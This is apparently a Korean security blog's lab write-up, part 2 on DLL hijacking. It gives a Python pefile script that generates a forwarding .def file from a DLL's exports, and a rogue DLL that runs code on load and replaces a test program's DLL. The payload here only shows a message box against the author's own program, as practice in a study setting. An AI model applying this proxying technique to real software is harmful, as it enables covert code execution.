2024-10-26 짤린거 확인하고 재업함
이전 게시글 [DLL Hijacking 실습 (1)] 에서는
원본 DLL이(하이재킹 하려한 타겟 DLL) 함수를 exported하지 않은 단순한 경우를 실습한 것이다.
하지만 실습(1) 게시글 마지막에 서술했듯,
컴파일한 DLL에서 여러 함수를 exported하는 경우는 커스텀한 DLL도 해당 함수들을 exported 해야 정상적으로 로드된다.
DLL export viewer 등의 도구를 사용하여 정상 dll의 모든 exproted 함수 확인이 가능.
해당 DLL과 동일한 형식으로 커스텀하면 정상적으로 로드될 가능성을 최대화할 수 있다
DLL Hijacking 실습 (2)
실습환경: windows 10 21H2 64bit
실습대상: myprogram.exe
실습도구: gcc, procmon, dll export viewer, vscode 1.660, visual studio 2022 17.1.1
참고: (링크)
1. simple dll과 dll을 사용할 프로그램 만들기
DLL exported Viewer를 사용할 수도 있으나,
DLL에서 exported된 함수를 열거하는 python 스크립트를 작성하여 활용할 것.
① exported된 함수를 열거하는 스크립트 (dll_stealing_fuc.py)
import pefile #pefile: 프로그램의 PE header를 볼 수 있음.
import sys
import os.path
dll = pefile.PE(sys.argv[1])
dll_basename = os.path.splitext(sys.argv[1])[0]
try:
with open(sys.argv[1].split("/")[-1].replace(".dll", ".def"), "w") as f:
f.write("EXPORTS\n")
for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
if export.name:
f.write('{}={}.{} @{}\n'.format(export.name.decode(), dll_basename, export.name.decode(), export.ordinal))
except:
print ("ANG? faild.")
else:
print ("hihihihi. success!")
② 커스텀 dll (mydll.cpp)
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) VOID _cdecl BHUNG(void) {
MessageBox(NULL, "BABA is hungry.", "S2 HOME S2", MB_OK);
}
extern "C" __declspec(dllexport) VOID _cdecl BSTUDY(void) {
MessageBox(NULL, "BABA is studying.", "S2 HOME S2", MB_OK);
}
extern "C" __declspec(dllexport) VOID _cdecl BSLEEP(void) {
MessageBox(NULL, "BABA is sleeping.", "S2 HOME S2", MB_OK);
}
③ gcc 통해서 컴파일
④ simple dll을 사용할 프로그램 만들기. (myprogram.cpp)
#include <windows.h>
#include <cstdio>
typedef VOID(__cdecl* BHUNGProc)();
typedef VOID(__cdecl* BSTUDYProc)();
typedef VOID(__cdecl* BSLEEPProc)();
int main(void) {
HINSTANCE mydll;
BHUNGProc bhungFunc;
BSTUDYProc bstudyFunc;
BSLEEPProc bsleepFunc;
BOOL freeRes;
mydll = LoadLibrary(TEXT("mydll.dll"));
if (mydll != NULL) {
bhungFunc = (BHUNGProc)GetProcAddress(mydll, "BHUNG");
bstudyFunc = (BSTUDYProc)GetProcAddress(mydll, "BSTUDY");
bsleepFunc = (BSLEEPProc)GetProcAddress(mydll, "BSLEEP");
if (bhungFunc != NULL) {
(bhungFunc)();
}
if (bstudyFunc != NULL) {
(bstudyFunc)();
}
if (bsleepFunc != NULL) {
(bsleepFunc)();
}
freeRes = FreeLibrary(mydll);
}
return 0;
}
⑤ 컴파일 후 myprogram.exe 실행
2. myprogram.exe 대상으로 DLL Hijacking
① 커스텀 DLL 제작. (evildll.cpp)
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"BABA died.....X0",
"MY DLL HIJACKING! ",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
② myprogram.exe가 사용하는 mydll.dll의 exported function 알아내기
③ 커스텀 DLL 제작. evildll.cpp을 2단계서 만든 mydll.def 사용해서 컴파일.
④ 이름 변경: evildll.dll ▶ mydll.dll
⑤ myprogram.exe 실행
'System > 침투' 카테고리의 다른 글
Windows Kerberos 악용(Kerberoasting, AS-Rep Roasting) (1) | 2024.12.24 |
---|---|
DLL Search Order Hijacking (0) | 2024.12.24 |
THM - Offensive Pentesting-Skynet (0) | 2023.10.24 |
THM - Enumerating Active Directory(2) (0) | 2023.10.20 |
THM - Enumerating Active Directory(1) (0) | 2023.10.19 |